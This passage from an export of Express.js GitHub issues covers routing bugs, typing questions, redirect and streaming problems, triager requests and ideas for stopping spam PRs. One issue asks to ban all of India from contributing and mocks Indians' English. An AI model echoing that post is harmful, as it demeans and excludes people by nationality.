- [x] Add back in QUERY method test, only run on versions at and above the version that includes the fix to the above
","enhancement,4.x,5.x,module:router",2024-04-20T21:10:58Z,2024-06-05T23:22:28Z,9
expressjs/express,2251755926,Using colon as a character instead of path parameter (express 5),"### Discussed in https://github.com/expressjs/express/discussions/5609

<div type='discussions-op-text'>

<sup>Originally posted by **Tanavya** April 18, 2024</sup>
I am trying to follow google's API design guide here for custom methods https://cloud.google.com/apis/design/custom_methods. I already looked through the discussion here https://github.com/expressjs/express/issues/3857 but it did not solve my problem.

On express version 5.0.0-beta.3.
 
This works
```
router.get('/tasks/:id/([:])action', async (req, res, _next) => {
    const id = req.params[""id""];
    return res.status(200).send(id);
  });
```

So I can do a simple GET on `tasks/50/:action`

However, the moment I remove the `/` it breaks.

```
router.get('/tasks/:id([:])action', async (req, res, _next) => {
    const id = req.params[""id""];
    return res.status(200).send(id);
});
```
GET /tasks/50:action -> not found.

How do I solve this?</div>",,2024-04-18T23:21:14Z,2024-04-18T23:44:56Z,2
expressjs/express,2250882499,help typing Request query with object,"Hello, I'm running into a problem typing filter query using the express router with my request controller

```ts
//router.ts
import { listArticles } from ""./controller"";

const router = express.Router();

router.get(""/"", listArticles);
```

```ts
//controller.ts

export interface GetArticleListRequestQueryParams {
  page: string;
  pageSize: string;
  [key: string]: string | number | object;
}

export async function listArticles(req: Request<unknown, unknown, unknown, GetArticleListRequestQueryParams>, res: Response){
  try{
      const parameters = req.query
      const page: number = Number(parameters.page) ?? 1;
      const pageSize: number = Number(parameters.pageSize) ?? 10;
      
      if (parameters?.filter && typeof parameters.filter === ""object"" && ""categories"" in parameters.filter) {
      //...
      }
  }
}
```

So basically, I want to be able to get custom filters in my request, like this: GET /article?page=1&pageSize=5&filter[categories]=categId

Using this request, using a console log on req.query, i get this:

```ts
//{ page: '1', pageSize: '5', filter: { categories: 'categId' } }
```
This is exactly what I want, but the issue here is for typing the query param in my req argument, the param I put GetArticleListRequestQueryParams is giving me an error in the router.ts:

```bash
No overload matches this call.
  The last overload gave the following error.
    Argument of type '(req: Request<unknown, unknown, unknown, ... [TRUNCATED]","help wanted,question",2024-04-18T14:44:47Z,2024-07-26T20:52:50Z,2
expressjs/express,2245904586,Response location broken for unicode domains in latest release,"[This commit](https://github.com/expressjs/express/commit/0b746953c4bd8e377123527db11f9cd866e39f94) broke parsing of valid unicode host names. Now it's only working with English domains. 

Plus such change shouldn't be done in a patch version, even minor is not valid here, because it's a breaking change. 

<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->",bug,2024-04-16T12:20:26Z,2025-03-19T01:36:22Z,2
expressjs/express,2238868683,clean code for switch condition,"i want to ask about [this code](https://github.com/expressjs/express/blob/master/lib/application.js#L76C3-L84C1)

that write with logic 

```js
  switch (lc) {
    case 'referer':
    case 'referrer':
      return this.headers.referrer
        || this.headers.referer;
    default:
      return this.headers[lc];
  }
};
```
is that more readable and cleaner when we write that with

```js
  switch (lc) {
    case 'referer':
      return  this.headers.referer;
    case 'referrer':
      return this.headers.referrer;
    default:
      return this.headers[lc];
  }
};
```
i just giving my opinion as express js users


",question,2024-04-12T01:31:37Z,2024-04-12T13:21:07Z,2
expressjs/express,2237213223,Request triager role for etroynov,"Hi folks,

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2024-04-11T08:41:53Z,2024-04-22T10:15:26Z,2
expressjs/express,2237143535,Request triager role for Ivaylo-Iv,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",question,2024-04-11T08:00:24Z,2024-04-22T09:57:42Z,1
expressjs/express,2236860531,.get() attempting to grab from home dir (Linux),"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

OS: Debian GNU/Linux 11 (bullseye) aarch64
Bug: .get() (specifically when using robotx.txt) trys to grab /home/xxxxx/microwavebot-webrobots.txt (I presume due to the folder name)

Code snippet:
```js
app.get(""/robots.txt"", function (req, res) {
  res.sendFile(__dirname + ""robots.txt"");
});
```

Expected result: It grabs robots.txt from the current directory
Actual result: it attemps to grab from the home directory of the user

Note: I am entirely unsure if this is due to something I did that I don't remember or my OS or maybe even an actual bug",bug,2024-04-11T03:55:10Z,2024-04-11T09:21:24Z,2
expressjs/express,2234418586,[Question] Should Express.js v5.x drop support to older versions of Node?,"Hi y'all 👋 

I'm glad to see progress on Express.js again and this has brought some small expectations and potential questions on this next milestone.

As with any software, it's normal to accumulate legacy code over time, and Express might have a ton by keeping the compatibility from old Node.js versions.

By bringing the next version, would the community & TC also push for finally deprecating older versions in favor of better maintenance and improving overall code quality?

It doesn't need to be something major like LTS only, but something that can accommodate ES6+ standards and great support for modern features such as async/await support. e.g.: >=v12 which was released 5yrs ago.

**Why that is relevant:** Chances are that users using older versions of Express.js might rarely or never redeploy their apps or upgrade their deps anyway.

I'm not suggesting going crazy to be comparable with other frameworks or following anything crazy, just making Express.js great again would be a lifetime benefit for everyone.

Thanks for reading this.

Cheers.


<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https... [TRUNCATED]",question,2024-04-09T22:35:33Z,2024-04-10T13:40:17Z,3
expressjs/express,2230219367,Need a clarification on router.param() usage.,"I was using router.param() method to run middleware in all the routes which has ':department_id'. 
for example:
In my app, the route will be app.use('/department/:department_id/class',departmentRoutes);
In my departmentRoutes, child route will be router.get('/:id', ...controller);

I have use { mergeParams : true } to include all the params in the router to consider.. but when i use **router.param(':department_id'**, <middleware>); the middleware gets skipped as it considers the ':department_id' as no parameter.

But the when we use **router.param('id',<middleware>);** the middleware logic gets executed perfectly!!

kindly clear me of the doubt that, will the **router.param()** consider the params from the parent or app.","question,awaiting more info",2024-04-08T04:18:05Z,2024-05-09T05:14:52Z,7
expressjs/express,2226524895,return res.redirect('back'); returns to '/' instead of the previous page,"I can reproduce this error with Node 21.x and Node 20.x. I am using Express ^4.17.2 or ^4.19.2 coupled with EJS ^3.1.6.
 I can create the error with a simple route like this:
```
 app.get('/goback', async(req, res) => {
  return res.redirect('back');
})
```

This route will always return to '/' regardless of what the previous page was. I can also reproduce this error with more complicated POST and PUT routes I have for updating DB documents. The above is too narrow down the issue.",bug,2024-04-04T21:11:39Z,2024-04-05T18:12:06Z,2
expressjs/express,2213832348,WebAssembly Out of memory Error for any server,"After about 5-10 minutes of a server running, I am getting the error:
```
node:internal/event_target:1036
  process.nextTick(() => { throw err; });
                           ^
RangeError [Error]: WebAssembly.instantiate(): Out of memory: Cannot allocate Wasm memory for new instance
Emitted 'error' event on InternalWorker instance at:
    at [kOnErrorMessage] (node:internal/worker:323:10)
    at [kOnMessage] (node:internal/worker:334:37)
    at MessagePort.<anonymous> (node:internal/worker:229:57)
    at [nodejs.internal.kHybridDispatch] (node:internal/event_target:761:20)
    at exports.emitMessage (node:internal/per_context/messageport:23:28)

Node.js v20.0.0
```

Even with the simplest possible server:
```
import express from 'express'

const app = express()

app.listen(6788, function () {
	console.log('Listening on http://localhost:6788/')
})
```

I am using v4.19.2. I am also running using tsx, so maybe that could be the problem?",bug,2024-03-28T18:06:41Z,2024-03-28T18:11:39Z,2
expressjs/express,2211283293,mime.charsets in Response.js is undefined,"Using Express version 4.19.2 in Response.js at line 790 (var charset = mime.charsets.lookup(value.split(';')[0]);) is throwing an exception stating that mime.charset ""TypeError: Cannot read properties of undefined (reading 'charsets')""
",bug,2024-03-27T16:42:40Z,2024-03-27T19:40:03Z,9
expressjs/express,2208675032,Troubleshooting Node.js Express Server Routing Issue,"I tried this simple code in NodeJS:
```
const express=require(""express"");

const app=express();

const accounts=[]

app.use(""/dashboard"",function(req,res,next){
    res.send(accounts);
    next();
})

app.post(""/dashboard/add-account/:address{6}"",function(req,res,next){
    accounts.push(req.params.address);
    console.info(accounts);
    next();
})

app.put(""/modify-account/:index/:address{6}"",function(req,res){
    accounts[req.params.index]=req.params.address;
    res.send(accounts);
})

app.delete(""/dashboard/delete-account/:index[0-9]"",function(req,res){
    accounts[req.params.index]="""";
    console.info(accounts);
})

app.listen(3001,""127.0.0.1"",650,()=>{console.info(""Server is ready ..."")});
```
By sending this request: `http://localhost:3001/dashboard/add-account/0x1234`

What should I do?",question,2024-03-26T16:07:11Z,2024-03-26T16:27:26Z,1
expressjs/express,2199440652,The npm latest version of express is 5.0.0-beta.2 !!!,"Can you double-check that it is on purpose?

I cannot see any notes about this major release in the change log.
This can potentially break a lot of stuff without proper release notes and migration guide.

Did I miss anything?

![image](https://github.com/expressjs/express/assets/11837643/a4598ddd-75f1-47bd-baa1-21b240dd7edb)
",question,2024-03-21T07:54:36Z,2024-03-21T08:48:30Z,10
expressjs/express,2198541382,4.19.0 breaks passing new URL() into res.redirect(...),"Understandably, res.redirect(...) should take a string.  But for years we have been successfully passing a new URL().  We can certainly fix this on our side, but wanted to give a heads-up that this change might cause others to run into the same thing.

Error ultimately is thrown here:

reponse.js:915
  var lowerLoc = loc.toLowerCase();
",bug,2024-03-20T20:53:54Z,2024-03-20T22:13:52Z,7
expressjs/express,2190811454,Working On Vite+React. Have an Issue. ,"express.js?v=ccbac433:1188 Uncaught TypeError: Cannot read properties of undefined (reading 'from')
    at ../node_modules/safe-buffer/index.js (express.js?v=ccbac433:1188:17)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)
    at ../node_modules/express/lib/utils.js (express.js?v=ccbac433:19746:19)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)
    at ../node_modules/express/lib/application.js (express.js?v=ccbac433:19895:23)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)
    at ../node_modules/express/lib/express.js (express.js?v=ccbac433:21826:17)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)
    at ../node_modules/express/index.js (express.js?v=ccbac433:21891:22)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)

Found this in browser console while running app after setting routes. Used BrowserRouter..

See if anybody can help...
",,2024-03-17T18:48:40Z,2024-03-18T14:35:37Z,1
expressjs/express,2190754953, Request triager role for @SarthakParikh,"

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

express",,2024-03-17T16:37:25Z,2024-04-22T09:58:38Z,1
expressjs/express,2186409405,[deleted],[deleted],invalid,2024-03-14T13:36:41Z,2024-03-14T15:37:37Z,3
expressjs/express,2185602680,How do you guys set the `req.hostname`?,"I've searched through this repo trying to find how `req.hostname` is set, but with no luck. I have to write a function that extracts hostname from `Host` header and it has to behave exactly like how this framework does it.","help wanted,question,good first contribution",2024-03-14T07:09:16Z,2024-03-14T15:24:11Z,1
expressjs/express,2183102140,Import syntax error with express.Router() import,"### Need help figuring out why this would error.
I am using bun and not node for the runtime. I don't think that affects anything here. I am using express JS 5.0 BETA 1
I just feel there is a better way than actually doing (despite Node/Bun caching modules I still feel like this is redundant):
```
import express from 'express';
const viewRouter = express.Router();
```
* The Code
```
import { Router as viewRouter } from 'express';
viewRouter.get('/', (req, res) => {
    res.render('index.ejs');
});
module.exports = viewRouter;
```
* The Error
```
SyntaxError: Unexpected token '{'. import call expects one or two arguments.
      at <parse> (/mnt/z/sic-web/src/server/routes/viewRouter.js:1:1)
1 | import {Router as viewRouter} from 'express';
    ^
```",question,2024-03-13T04:40:44Z,2024-03-13T15:23:32Z,4
expressjs/express,2179145002,How to flush a response?,"When I run this sample on express v4.18.2, I don't see any of the response data in the Chrome Debugger Network Tab nor in Fiddler until after the 15 second mark.  This is despite that ""First part was piped"" shows up immediately in the server side console.  How can I force the response stream to be flushed, please?

```typescript
import { Readable } from ""stream"";

app.get(""/api/data/multipart"", (request, response, next) => {
    response.useChunkedEncodingByDefault = true;
    response.status(200);

    const p1 = Readable.from(""Foo"".repeat(1000))
    p1.on('close', () => {
        console.log(`First part was closed`);
    });
    p1.pipe(response, { end: false });

    console.log(`First part was piped`);

    global.setTimeout(() => {
        Readable.from(""Bar"".repeat(1000)).pipe(response, { end: true });

        console.log(`Second part was piped`);
        next();
    }, 15 * 1000);
});
```

Output:
```plaintext
First part was piped << Immediate
First part was closed << Immediate
Second part was piped << ~15s
```",question,2024-03-11T13:31:10Z,2024-03-11T14:52:15Z,2
expressjs/express,2177901678,when NODE_ENV='production' getting error on request send ,"when i am setting NODE_ENV to 'production' and sending any request getting this error:

if (done) return done(err);
                     ^

TypeError: done is not a function
    at /home/ubuntu/taskManager/node_modules/express/lib/response.js:450:22
    at SendStream.ondirectory (/home/ubuntu/taskManager/node_modules/express/lib/response.js:1064:5)
    at SendStream.emit (node:events:519:28)
    at SendStream.redirect (/home/ubuntu/taskManager/node_modules/send/index.js:475:10)
    at onstat (/home/ubuntu/taskManager/node_modules/send/index.js:723:41)
    at FSReqCallback.oncomplete (node:fs:205:5)


i tried updating express version but still get the same error
",awaiting more info,2024-03-10T20:58:40Z,2024-03-11T00:03:11Z,2
expressjs/express,2165261964,How to send a request at JSON format using http module to an ExpressJS server?,"Two web servers are in place: one is developed using the Express.js framework to manage requests and responses, while the other is built with the HTTP module to forward requests to the former. The current requirement is to send requests in JSON format, but there is uncertainty on how to achieve this using the HTTP module.

The first server by express js:

```
const { Web3 } = require(""web3"");
const {toChecksumAddress}=require(""ethereum-checksum-address"");
const express=require(""express"");
const bodyParser=require(""body-parser"");

const walletMap=new Map();

const urlencodedParser=new bodyParser.urlencoded({extended:false});
const app=express();
app.use(bodyParser.json());

...

app.get(""/wallet-status"",function(req,res){
  try{
    const response=walletView(req.body.address);
    res.status(200).json(response);
  }catch(err){
    const errorObj={
      error:err.name,
      message:err.message
    }
    res.status(400).json(errorObj);
  }
})

...

function walletView(address){
    address=address.toString();
    if(toChecksumAddress(address)){
      if(walletMap.get(address)===undefined){
        return {""message"":""The address provided has not been recorded previously""}
      }else{
        return walletMap.get(address);
      }
    }
}
```
The second server by http module:

```
const http=require(""http"");

let options={
    host:""127.0.0.1"",
    port:2020,
    path:""/wallet-status"",
    method:""GET"",
    headers:{
      ... [TRUNCATED]",question,2024-03-03T09:04:43Z,2024-03-03T17:44:42Z,1
expressjs/express,2164694793,How to run an app after installing certificates for localhost,"Hi everyone, I need some help because I'm very new doing all of this.
Currently, I have myapp running perfectly on http://localhost/myapp
Now, I would like to have it running on https://localhost/myapp
I have correctly installed the certificates and the https://localhost is on and it displays a message: ""Hello, HTTPS World!""
Now, how can I run myapp on https://localhost/myapp ??

myapp is a directory located in C:\Apache24\htdocs\myapp

The code of my server.js file is:
`const app = require('express')();`
`const https = require('https');`
`const fs = require('fs');`

`const options = {`
`    key: fs.readFileSync('build/cert/server.key'),`
`    cert: fs.readFileSync('build/cert/server.crt'),`
`}`
`https.createServer(options, (req, res) => {`
`  res.writeHead(200);`
`  res.end('Hello, HTTPS World!');`
`}).listen(443, () => {`
`  console.log('Server is running on port 443');`
`});`

OS: Win 10
Any help or hint will be much appreciated.
",question,2024-03-02T08:09:18Z,2024-03-02T14:37:39Z,2
expressjs/express,2140332672,Solve issues for Node.js CITGM,"Hi team! I was researching a bit about the current issues with CITGM, there is a PR https://github.com/nodejs/citgm/pull/977 open to re-add express, but one of the tests is failling.

**How to reproduce?**
1. Use Node 20.x (recommended 20.11.x) `nvm use 20.11.0`
2. Install cigtm globally `npm i -g citgm`
3. Run the tests for express `citgm express`

**What is the error?**

```
info: starting            | express             
info: lookup              | express             
info: lookup-notfound     | express             
info: lookup-githead      | https://github.com/expressjs/express/archive/8368dc178af16b91b576c4c1d135f701a0007e5d.tar.gz
info: express npm:        | Downloading project: https://github.com/expressjs/express/archive/8368dc178af16b91b576c4c1d135f701a0007
info: express npm:        | Project downloaded 8368dc178af16b91b576c4c1d135f701a0007e5d.tar.gz
info: express npm:        | npm install started 
info: express npm:        | npm install successfully completed
info: express npm:        | test suite started  
error: failure             | The canary is dead: 
error: failing module(s)   |                     
error: module name:        | express             
error: version:            | 4.18.2              
error: error:              | The canary is dead: 
error: error:              | undefined                                                                                     
error:                     | added 432 packages in 36s           ... [TRUNCATED]","bug,tc agenda",2024-02-17T17:18:33Z,2024-03-07T10:35:48Z,11
expressjs/express,2140287731,@types/express-serve-static-core breaking my typescript builds,"In my typescript express server application, when I try to run `tsc` to build & compile my typescript, I get an error: 

```bash
../node_modules/@types/express-serve-static-core/index.d.ts:647:18 - error TS2430: Interface 'Response<ResBody, Locals, StatusCode>' incorrectly extends interface 'ServerResponse<IncomingMessage>'.
  Property 'req' is optional in type 'Response<ResBody, Locals, StatusCode>' but required in type 'ServerResponse<IncomingMessage>'.

647 export interface Response<
                     ~~~~~~~~

../node_modules/@types/express/index.d.ts:50:29 - error TS2694: Namespace 'serveStatic' has no exported member 'RequestHandlerConstructor'.

50     var static: serveStatic.RequestHandlerConstructor<Response>;
```

Looking around Google, all answers say to update dependencies - but that doesn't seem to work. 

MY dependencies: 


```javascript
""devDependencies"": {
    ""@types/cors"": ""^2.8.6"",
    ""@types/express"": ""^4.17.21"",
    ""@types/express-serve-static-core"": ""4.17.20"",
    ""@types/jest"": ""^29.x"",
    ""@types/mongodb"": ""^3.5.4"",
    ""@types/mongoose"": ""^5.7.7"",
    ""@types/node"": ""^20.11.19"",
    ""@types/prettier"": ""<2.6.0"",
    ""@types/shortid"": ""^0.0.29"",
    ""@types/ws"": ""8.5.4"",
    ""express"": ""^4.18.2"",
    ""jest"": ""^29.x"",
    ""jest-circus"": ""^29.x"",
    ""nodemon"": ""^3.0.3"",
    ""ts-jest"": ""^29.x"",
    ""ts-node"": ""^10.9.2"",
    ""typescript"": ""^5.3.3""
  }```",bug,2024-02-17T16:43:19Z,2024-02-17T17:09:03Z,1
expressjs/express,2140054048,add mertcanaltin as a triager,"Hello, I have not made a contribution yet, but I would like to be a triager if it is deemed appropriate in line with triager needs :rocket: @wesleytodd @UlisesGascon ",,2024-02-17T12:48:08Z,2024-04-15T22:11:18Z,7
expressjs/express,2139777823,Download Function,"Fine people of express, I have used your framework as a hobby for years, and I have struggled with it, mostly as a result of my own stupidity. So today when I needed to make the client download a file, I expected great difficulty. However, upon a google search, I came across the download function, and I have to say it was the most pleasant surprise I have come across in quite a while. I knew immediately that I had to contact you and thank you for this excellent piece of code, and I hope more people continue to use express. 
<3,
Gdawg","examples,feedback",2024-02-17T03:01:08Z,2024-02-17T14:01:23Z,2
expressjs/express,2136827226,"Middleware is executed when using Postman, ignored when running API test with axios","Context
====

I'm using `express` in version `4.18.2`.


I've created a following two functions that create Express middleware:
- `authenticate` - checks for presence of a valid access token, returns HTTP Unauthorized response if it doesn't, otherwise calls `next()`
- `authorize(permissions)` - checks if logged in user (as verified in `authenticate`) has required permissions, returns HTTP Forbidden response if it doesn't, otherwise calls `next()`.

Here's the code: (note the `logger.verbose` usages)

```typescript
import { header } from 'express-validator';
//...

export function authenticate() {
  return [
    header('authorization')
      .isLength({ min: 1 })
      .withMessage('Authorization header required'),
    (req, res, next) => {
      const token = req.headers.authorization?.split(' ') ?? [];
      if (token.length !== 2 || token[0].toLowerCase() !== 'bearer') {
        logger.verbose('Invalid access token type (only ""bearer"" accepted)');
        res.status(StatusCode.UNAUTHORIZED).send({'error': 'Invalid access token'});
        return;
      }

      const accessToken: Promise<AccessToken|null> = AccessToken.findOne({
        // database access
      });

      accessToken
        .then((at: AccessToken|null) => {
          if (!at) {
            logger.verbose('Access token not found');
            res.status(StatusCode.UNAUTHORIZED).send({'error': 'Invalid access token'});
          } else {
            req.user = at.user;... [TRUNCATED]",question,2024-02-15T15:29:56Z,2024-02-15T15:46:57Z,0
expressjs/express,2131967054,Rangeban India from making Pull Requests,"Has anyone seen how many Indians are spamming pull requests to Readme.md? Most of them barely speak English. Is there a way to just ban all of India? Can we start a petition to have Github add a ""rangeban from project"" feature?

Look at this.
https://github.com/expressjs/express/pulls?q=is%3Apr+is%3Aclosed",,2024-02-13T10:19:36Z,2024-02-13T12:12:36Z,15
expressjs/express,2129129530,Github Action : To avoid spam PR,"Its quite frustrating about the PR spam being happening over here. 

I just found on reddit about the PR spam being happening in this repo recently [Spam PR](https://github.com/expressjs/express/pulls?page=1&q=is%3Apr+is%3Aclosed+Readme.md) so just wanted to raise a few solution to solve it. I

Proposed Solution:
1. Can we restrict the contribution from **new contributor on readme.md** to avoid spams on the PR. Mostly this PR are raised by new contributors. We can have a GitHub action set up in a way that new contributor can't edit readme.md file unless and until they have contributed at least one PR. People who have done at least one PR are less likely to spam and spoil the repo.

2. The second option is not recommended but can be done is to restrict everyone from editing readme.md file only selected people can edit. 
If the PR comes from a user who is not listed as an allowed editor for these files, the workflow can automatically comment on the PR, informing the contributor that changes to these files are restricted and then close the PR or give a tag (readme tag) it for manual review by authorized users.

I hope this can minimize the spam PR happening recently in this repo. I hope I can be a help to avoid spam over here in this repo and making maintainers life ease and valid PR gets the deserving attention.",question,2024-02-11T19:17:51Z,2024-02-11T19:21:23Z,1
expressjs/express,2128870979,[ FEATURE ]: need dark mode enable toggle button,"Description : 
It is very difficult to Read the Documentation in Light mode, we need dark mode to enable the option, and it will be helpful for Reading  Documentation for Developers.

Solution:
Add a toggle button to enable Dark mode and Light mode

Screenshot:
![image](https://github.com/expressjs/express/assets/80571893/9c71102d-7a28-4e6e-9570-fe2874887083)
",,2024-02-11T07:06:28Z,2024-02-11T16:25:15Z,4
expressjs/express,2127691269,closed,,,2024-02-09T18:55:57Z,2024-02-09T19:09:34Z,0
expressjs/express,2126115111,Nominate CBID2 to the Triage Team,Hi there. I read your project's Code of Conduct and would love to join the triage team. I got inspired after raising this issue: https://github.com/expressjs/express/issues/5449,,2024-02-08T21:40:02Z,2024-04-15T22:10:46Z,6
expressjs/express,2125204106,Allow reading Forwarded header as alternative to X-Forwarded-,"A few service providers / proxy servers are beginning to use [Forwarded](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwarded) header instead of [X-Forwarded-For](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For) and related headers. This includes AWS's HTTP API Gateway.

Express does not currently support this header, and I can see no way of hooking up the trust proxy mechanism manually to parse this header, so I am a bit stuffed.

Can you either provide a config setting to use this header for trust proxy, or suggest an alternative way to get this to work?",,2024-02-08T13:33:54Z,2024-08-24T09:05:19Z,3
expressjs/express,2123298438,Request triager role for S-Ayush,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2024-02-07T15:31:33Z,2024-04-22T09:59:05Z,3
expressjs/express,2121706250,Request triager role for QuantGeekDev,"
Hello everyone!

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2024-02-06T21:36:47Z,2024-04-22T10:04:09Z,2
expressjs/express,2121347754,feature: add a GitHub action to quell spam PRs,"## Problem
I was scrolling through Twitter and someone posted about [the spam PR](https://github.com/expressjs/express/pulls?page=1&q=is%3Apr+is%3Aclosed+Readme.md). 

## Possible Solution
Implement this [GitHub action](https://github.com/marketplace/actions/mark-as-spam). It'll lessen the workload for maintainers. 

",ideas,2024-02-06T17:35:20Z,2026-01-17T03:10:48Z,68
expressjs/express,2119774156,response gives invalid status code when number is sent in res.status(200).send(<number>);,"Hi there,

While I was testing my own PR, https://github.com/expressjs/express/pull/5445, I encountered an other issue sending number to ```res.send(<number>)```,  
I get the following error:
```<!DOCTYPE html>
<html lang=""en"">  
<head>
<meta charset=""utf-8"">
<title>Error</title>
</head>
<body>
<pre>RangeError [ERR_HTTP_INVALID_STATUS_CODE]: Invalid status code: 10<br> &nbsp; &nbsp;at ServerResponse.writeHead (node:_http_server:352:11)<br> &nbsp; &nbsp;at ServerResponse._implicitHeader (node:_http_server:338:8)<br> &nbsp; &nbsp;at ServerResponse.end (node:_http_outgoing:1046:10)<br> &nbsp; &nbsp;at ServerResponse.send (/home/bhavya/Documents/Sample/node_modules/express/lib/response.js:232:10)<br> &nbsp; &nbsp;at /home/bhavya/Documents/Sample/index.js:7:21<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/bhavya/Documents/Sample/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/bhavya/Documents/Sample/node_modules/express/lib/router/route.js:144:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/bhavya/Documents/Sample/node_modules/express/lib/router/route.js:114:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/bhavya/Documents/Sample/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/bhavya/Documents/Sample/node_modules/express/lib/router/index.js:284:15</pre>
</body>
</html>
```
Is this intentional, or it is a bug that needs to fixed ?
meanwhile, ```res.json(10)``` works fine.
@mikeal @pet... [TRUNCATED]",,2024-02-06T01:44:00Z,2024-02-06T01:46:03Z,4
expressjs/express,2108158596,Question: The future of the Express development,"Hello,

I have noticed that the development activity of Express itself (not the middleware) has been declining.
The last stable release 4.18.2 is from Oct 8, 2022.
The last beta relelease 5.0.0-beta.1 is from Feb 16, 2022.

I also noticed, that Express' development in 2022 has been done by primarily one person (@dougwilson).
I would like to ask what the current situation of the Express development is.
Currently, Express is stable, and pretty popular according to npm download stats, but it wont stay stable in the future if maintenance is halted or abandoned.

Thats why I am wondering how the future of Express looks like. Mabye someone can give some clarification on that.

Thank you! :)


",,2024-01-30T15:34:40Z,2024-01-30T15:37:33Z,5
expressjs/express,2101418691,Request.accepts documentation comment issue.,"Hello.

Small thing in the documentation comments of 'Request.accepts' in 'index.d.ts'. It says to return 'undefined' instead of 'false'.

Kind regards,",,2024-01-26T01:13:35Z,2024-02-11T06:48:17Z,5
expressjs/express,2095795198,Inconsistent Logging Order for GET and POST Requests,"**Issue Description:**
I have implemented middleware in my Express application to log request details and response time. The main application code is provided below:

```javascript
const path = require('path');
const express = require('express');

const friendsRouter = require('./routes/friends.router');
const messagesRouter = require('./routes/messages.router');

const app = express();
const publicPath = path.join(__dirname, 'public');

const PORT = 3000;

app.use((req, res, next) => {
  const start = Date.now();
  next();

  const delta = Date.now() - start;
  console.log(`${req.method} ${req.baseUrl}${req.url} ${delta}ms`);
});

app.use(express.json());
app.use('/static', express.static(publicPath));

app.use('/friends', friendsRouter);
app.use('/messages', messagesRouter);

app.listen(PORT, () => {
  console.log(`Server listening on port ${PORT}`);
});
```

In friendsRouter, I have an extra middleware to log the ip address:
```javascript
friendsRouter.use((req, res, next) => {
  console.log('ip address', req.ip);
  next();
});
```

When I send a GET request, the logs are as expected:
```bash
GET /friends/ 2ms
ip address ::1
```

However, when I send a POST request, the order of logs is not consistent:
```bash
POST /friends 4ms
ip address ::1
```

**Expected Behavior:**
Consistent order of logs is expected for both GET and POST requests since the order of middleware functions is not changed.

**Actual Behavior:**
Th... [TRUNCATED]","help wanted,good first contribution",2024-01-23T10:50:40Z,2024-01-24T20:16:34Z,2
expressjs/express,2087525804,Feature: Add support for multiple error routes,"By example, have multiple packages with multiple routers and error router but only last is called, by example of expected execution:

```
// Main project
const express = require('express');
const mainRouter = express.Router();

// Auth project
const authRouter = express.Router();
authRouter.use((req, res, next) => next(new BadAuthError()));
authRouter.use((e, req, res, next) => {
    if(e instanceof BadAuthError)
        res.status(403).json({ })
    next(e); // Unknown errors
});

// Pages project
const pagesRouter = express.Router();
pagesRouter.use((req, res, next) => next(new BadPageError()));
pagesRouter.use((e, req, res, next) => {
    if(e instanceof BadPageError)
        res.status(404).json({ })
    next(e); // Unknown errors
});

mainRouter.use(authRouter);
mainRouter.use(pagesRouter);
mainRouter.use((e, req, res, next) => res.status(500).json({ })); // Unknown error
```

Why not use a single function to handle all errors?: Beacuse each router has in different projects and a orchestator join all routers in a single router. By example, main orchestator project does not know the error objects of each of the other projects nor does it know how to respond to each of them, the idea is that each project handles its own errors.

If a controller executes next with an error argument it should execute the router next to the one that captures errors and skip those before it, this way each group of controllers can handle its own error handlers. E... [TRUNCATED]",,2024-01-18T05:20:12Z,2024-01-18T06:11:09Z,0
expressjs/express,2054580662,should 400 on primitives test fails in Node v20.10.0,"Running `npm t`, I see the following error message:


Error: expected `[entity.parse.failed] Unexpected token 't', ""true"" is not valid JSON` response body, got `[entity.parse.failed] Unexpected token 't', ""#"" is not valid JSON`


",,2023-12-22T23:48:22Z,2023-12-22T23:50:55Z,0
expressjs/express,2034036503,Routing bug - URIError: Failed to decode param '$%^',"Hi There,

I have found this weird bug in routing. Any API route param if contains these 3 characters in this sequence ""**$%^**"" it breaks the router and crashed. I need help how to prevent this from happening.

`URIError: Failed to decode param &#39;12321$%^4ABCD&#39;<br> &nbsp; &nbsp;at decodeURIComponent (&lt;anonymous&gt;)`

**Express Route:**
![express_route](https://github.com/expressjs/discussions/assets/62402545/cc4a2f06-5fd9-416a-b711-e30d77ba72c7)

**Valid Call**
![express_route_valid_call](https://github.com/expressjs/discussions/assets/62402545/4b3bd0fd-6f14-44d5-a02c-feccea72be18)

**Invalid Call**
![express_route_invalid_call](https://github.com/expressjs/discussions/assets/62402545/19484b30-8f29-4102-ab4d-2c2af4083be4)
","question,module:router",2023-12-09T20:07:08Z,2023-12-09T20:11:55Z,7
expressjs/express,2033886874,Uncertain Behavior: Routing Conflict,"I'm encountering a potential issue with my Express.js project that involves routing ambiguity. 
In my `index.js`, I've set up the middleware using 

- `app.use('/company', companyRoutes)`. 


